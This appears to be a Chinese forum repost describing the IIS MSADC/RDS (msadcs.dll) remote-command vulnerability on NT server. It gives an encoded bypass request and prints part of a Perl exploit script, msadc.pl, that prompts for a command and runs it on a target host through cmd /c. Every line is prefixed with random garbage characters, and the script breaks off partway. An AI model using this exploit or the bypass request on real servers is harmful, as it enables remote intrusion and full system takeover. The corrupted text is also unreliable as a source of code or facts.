IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
iKaS7lWH $Fc}K+ 涉及程序:
Ywt9^M|z; Microsoft NT server
-%>Tjo@Bn qSD`S1'2; 描述:
? ][/hL@[ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_*sd# n[i:$! , 详细:
*'M+oi 如果你没有时间读详细内容的话,就删除:
v&9:Wd*Iz' c:\Program Files\Common Files\System\Msadc\msadcs.dll
ZRwN #?x 有关的安全问题就没有了。
x+%> 2qgj" Cl&)# 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
4/3w
* \f Kn} ]kG 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
5oB#{h 关于利用ODBC远程漏洞的描述,请参看:
+5R8mbD! >bhF{*t#;y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h?4EVOx+ TL$w~dY 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
mxJe\[I http://www.microsoft.com/security/bulletins/MS99-025faq.asp B 2_fCSlg oL>o*/ 这里不再论述。
d%q&[<'jf n^qwE 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Q=[ IO,f G'wW-| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
AhjCRYk+ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
g.8^ )u n
>E1\($ *N{k#d/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
u!It';j {Ngut #!perl
pxyFM@Z]( #
Ho&f[T( # MSADC/RDS 'usage' (aka exploit) script
S @!z'$& #
"_BWUY # by rain.forest.puppy
j2:9ahW
#
?wIEXKI # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
s6;ZaU # beta test and find errors!
tdu:imH~ A+\rGVNH'S use Socket; use Getopt::Std;
e!C,<W&B\ getopts("e:vd:h:XR", \%args);
*U8,Q]gS wA,-!m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&g*1 If @l_rB~ if (!defined $args{h} && !defined $args{R}) {
Gcxz$.( print qq~
M#8_Qbvfk Usage: msadc.pl -h <host> { -d <delay> -X -v }
JH2-' -h <host> = host you want to scan (ip or domain)
]D2d=\ -d <seconds> = delay between calls, default 1 second
fv*
$=m -X = dump Index Server path table, if available
p>T -v = verbose
*|L;&XM&/ -e = external dictionary file for step 5
dIQ3snG bG.`> Or a -R will resume a command session
K^b'<} $|p {Rxb_9 ~; exit;}
v`7~#Avhz ~ `{{Z& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
{=3'H?$ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!{g>g%2! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H2+Ijn19E if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-B7X;{
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
#&K}w0}k if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
&t6SI' v806f8 if (!defined $args{R}){ $ret = &has_msadc;
~Hx>yn94e die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
FiXE0ZI$0q 'auYmX print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Yfz`or\@= . "cmd /c ";
^8?px&B y: $in=<STDIN>; chomp $in;
RO'b)J:j9 $command="cmd /c " . $in ;
d:z7
U 6s!=de if (defined $args{R}) {&load; exit;}
+J42pSxzoo Ycxv=Et print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<fgf L9- &try_btcustmr;
J/Ch
/Sa THCvcU?X print "\nStep 2: Trying to make our own DSN...";
WE
/1h &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
1wggYX cy2K# print "\nStep 3: Trying known DSNs...";
ehMpo BL &known_dsn;
{~Q}{ha 2jxh7\zE print "\nStep 4: Trying known .mdbs...";
jnFN{(VH &known_mdb;
(~PT(B? O;(n[k if (defined $args{e}){
~Hb0)M@y7 print "\nStep 5: Trying dictionary of DSN names...";
ZJjm r,1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Vk1 c14i> ZRa~miKyM print "Sorry Charley...maybe next time?\n";
GgvMd~ exit;
wu}Zu %=vU
Z4 ##############################################################################
iVM% ]\ )Tn(!. sub sendraw { # ripped and modded from whisker
M=5hp&= sleep($delay); # it's a DoS on the server! At least on mine...
\@
N[ my ($pstr)=@_;
3X`N~_+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2P|j<~JS die("Socket problems\n");
NV2$ >D if(connect(S,pack "SnA4x8",2,80,$target)){
OuPfB select(S); $|=1;
5N2`e3:I print $pstr; my @in=<S>;
M^/ZpKeT" select(STDOUT); close(S);
5^2P\y(? return @in;
H"pwIiC } else { die("Can't connect...\n"); }}
%e/L
.#0 _+0c<' ##############################################################################
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